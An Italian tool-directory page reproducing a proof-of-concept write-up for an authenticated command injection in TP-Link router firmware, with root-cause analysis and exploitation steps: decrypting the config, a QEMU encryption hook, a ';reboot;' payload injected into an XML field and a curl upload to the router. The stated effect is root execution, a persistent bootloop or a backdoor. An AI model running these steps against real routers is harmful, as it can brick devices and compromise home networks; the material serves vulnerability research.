Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-3227-TP-Link-authenticated-RCE — Proof-of-concept per l'iniezione di comandi OS autenticata nel firmware dei router TP-Link. Include decrittazione, hook di crittografia basato su QEMU e generazione di payload a 15 caratteri per bootloop persistente o distribuzione di backdoor. | Kitploit
Strumenti/GitHubGitHub/do4choo/cve-2026-3227-tp-link-authenticated-rce
Sicurezza IoTAnalisi delle VulnerabilitàExploitReverse EngineeringSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneAnalisi del FirmwareBinary Exploitation

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubdo4choo/cve-2026-3227-tp-link-authenticated-rce

CVE-2026-3227-TP-Link-authenticated-RCE

Proof-of-concept per l'iniezione di comandi OS autenticata nel firmware dei router TP-Link. Include decrittazione, hook di crittografia basato su QEMU e generazione di payload a 15 caratteri per bootloop persistente o distribuzione di backdoor.

Vedi Repository
4212693 mesi faRevisionato da Kitploit

CVE-2026-3227: Iniezione di Comandi OS nei Router TP-Link

CVE Status Hardware Language

Per maggiori informazioni, vedere https://www.cve.org/CVERecord?id=CVE-2026-3227

Una vulnerabilità persistente e autenticata di iniezione di comandi OS nel firmware dei router TP-Link che può causare il bricking del dispositivo o una potenziale compromissione della LAN.

Disclaimer: Questo repository contiene codice proof-of-concept (PoC) per una vulnerabilità già corretta. È destinato a scopi educativi e ai ricercatori di sicurezza.

Sommario Esecutivo

Una vulnerabilità di iniezione di comandi esiste nel meccanismo di backup/ripristino della configurazione di diversi router TP-Link (inclusi TL-WR802N, TL-WR841N e TL-WR840N). Un attaccante con accesso amministrativo può scaricare la configurazione del router, decifrarla, iniettare un comando OS dannoso (fino a 15 caratteri) in specifici campi XML, ri-cifrarla e caricarla nuovamente sul dispositivo.

Quando il router applica la configurazione (ad esempio durante eventi di port trigger o all'avvio), il payload iniettato viene eseguito come root. Questo può essere usato per causare un bootloop persistente (brickando permanentemente il dispositivo, sopravvivendo ai reset di fabbrica) o potenzialmente abilitare una backdoor persistente per il pivoting sulla LAN.


Il Percorso della Scoperta (Come l'ho trovata)

Durante l'esplorazione della funzionalità di backup della configurazione del router, ho deciso di fare reverse-engineering del binario httpd e della libreria libcmm.so per capire come i file di configurazione vengono cifrati e analizzati.

  1. Decifratura: Ho scritto con successo uno script Python per decifrare il blob di configurazione del router, permettendomi di leggere la configurazione XML sottostante.
  2. Trovare il Sink: Durante l'analisi dei parametri XML, ho trovato endpoint di iniezione passati direttamente alle funzioni di esecuzione di sistema senza sanificazione.
  3. La Sfida della Cifratura: Riprodurre l'algoritmo di cifratura è stato difficile. Nonostante il reverse engineering del codice e i tentativi di reimplementare l'algoritmo in Python e C, non sono riuscito a produrre un file cifrato che il router accettasse.
  4. La Soluzione Alternativa (QEMU Hooking): Invece di reinventare la ruota, ho adottato un approccio di ingegneria offensiva. Ho emulato l'architettura del router usando qemu-user e ho agganciato a runtime il binario httpd originale del router (create_config.c). Questo mi ha permesso di invocare le funzioni di cifratura native del router direttamente dal mio PoC Python, imitando perfettamente il formato di cifratura originale.

Analisi Tecnica Approfondita / Analisi della Causa Radice

La vulnerabilità risiede nel modo in cui il prodotto analizza il blob di configurazione cifrato e lo applica a runtime. Nel percorso di configurazione del port triggering, l'implementazione costruisce comandi shell utilizzando campi controllabili dall'utente senza una corretta sanificazione.

Nello specifico, la funzione oal_pt_addPortTrigger chiama:

util_execSystem("oal_pt_addPortTrigger",
  "iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
  &local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);

La stringa di formato %s viene popolata con una stringa di interfaccia (X_TP_IfName) analizzata direttamente dalla configurazione XML caricata.

Il flusso di esecuzione:

  1. Caricamento: http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTrigger
  2. Parsing: oal_pt_addPortTrigger chiama forward_parsePtOpenPort per analizzare le liste delle porte.
  3. Esecuzione: Il sistema costruisce la stringa di comando iptables e la esegue tramite util_execSystem (che incapsula system()).

Modificando l'XML decifrato per includere:

<X_TP_IfName val=";reboot;"/>

Il comando viene eseguito durante l'inizializzazione dell'interfaccia all'avvio o quando si verifica un evento di port trigger. Poiché il payload è limitato a 15 caratteri, la creazione dell'exploit richiede tecniche compatte di esecuzione dei comandi.

Proof of Concept (PoC)

Per evitare di distribuire binari TP-Link protetti da copyright, questo PoC richiede di estrarre da soli il file system del router per utilizzare le librerie di cifratura native tramite un hook QEMU personalizzato.

Prerequisiti

  • qemu-mipsel e un cross-compilatore (gcc-mipsel-linux-gnu)
  • Python 3 e le dipendenze (pip install pycryptodome)
  • Firmware estratto usando binwalk -Me <firmware.bin>

Passo 1: Preparare l'Ambiente

  1. Estrarre il firmware di destinazione e copiare la directory squashfs-root in 'python_utils/' di questo progetto.
  2. Compilare l'hook QEMU:
    mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
    

Passo 2: Generare la Configurazione Malevola

  1. Accedere al proprio router e scaricare una configurazione di backup (config.bin).
  2. Eseguire il generatore di payload:
    python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
    
    Nota: il payload non deve superare i 15 caratteri.

Passo 3: Caricare la Configurazione tramite curl (la funzione di aggiornamento sul mio router era solo una trovata commerciale e in realtà non faceva nulla).

curl -X POST "http://192.168.0.1/cgi/confup" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Referer: http://192.168.0.1/mainFrame.htm" \
  -H "Origin: http://192.168.0.1" \
  -H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
  -F "[email protected];type=application/octet-stream"

Passo 3: Attivare l'Exploit

  1. Quando il router si riavvia e applica le impostazioni, navigare su Forwarding -> Port Triggering.
  2. Aggiungere un nuovo Port Trigger (ad es., selezionare "Battle.net" dal menu a discesa) e salvare.
  3. Il comando OS iniettato verrà eseguito come root. Se si usa ;reboot;, il router si riavvierà immediatamente e entrerà in un bootloop persistente.
Scarica lo strumento